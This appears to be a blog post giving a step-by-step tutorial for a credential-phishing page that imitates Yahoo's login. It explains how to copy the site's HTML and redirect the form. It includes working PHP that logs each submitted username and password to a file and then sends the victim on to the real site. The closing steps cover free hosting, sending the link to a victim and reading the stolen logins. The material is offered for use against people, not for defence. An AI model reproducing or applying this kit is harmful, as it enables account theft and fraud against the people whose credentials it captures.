⚙ First open the website in a browser for which you want to create a phishing page . Now right click in an empty space and select view source , copy all the contents to a note pad and save it as something.html
Example : yahoo.html
⚙ Now open Yahoo.html (something.html) in a notepad .Now search for the string
"action = https.." and change the address tologin.php and change method = " Post" to "GET" Finally save it
⚙ 3. Now we have to create login.php .For this open notepad , copy/paste the following code in it and save it as login.php
<?php
header ('Location: http:// yahoo.com');
$handle = fopen("log.txt", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
Note :- By default the victim will be redirected to yahoo.com once he clicks login ,If you want you can change the address, you can do it by changing the www.yahoo.com to any address you desire.
⚙ Now create an account in Free web hosting sites, which supports php like , T35.comor 000webhost.com .
⚙ Now upload all the two files which we created Yahoo.html , login.php.
⚙ Now send the Yahoo.html link to the victim , once he enters the information and logins in , He will be redirected to the website which we did in step three.
⚙ Now to see the victims password login to your hosting account, there you 'll see new file log.txt , open it to see the victims user-id and password.
━━━━━━━━━━━━━━━━━━
0 comments:
Post a Comment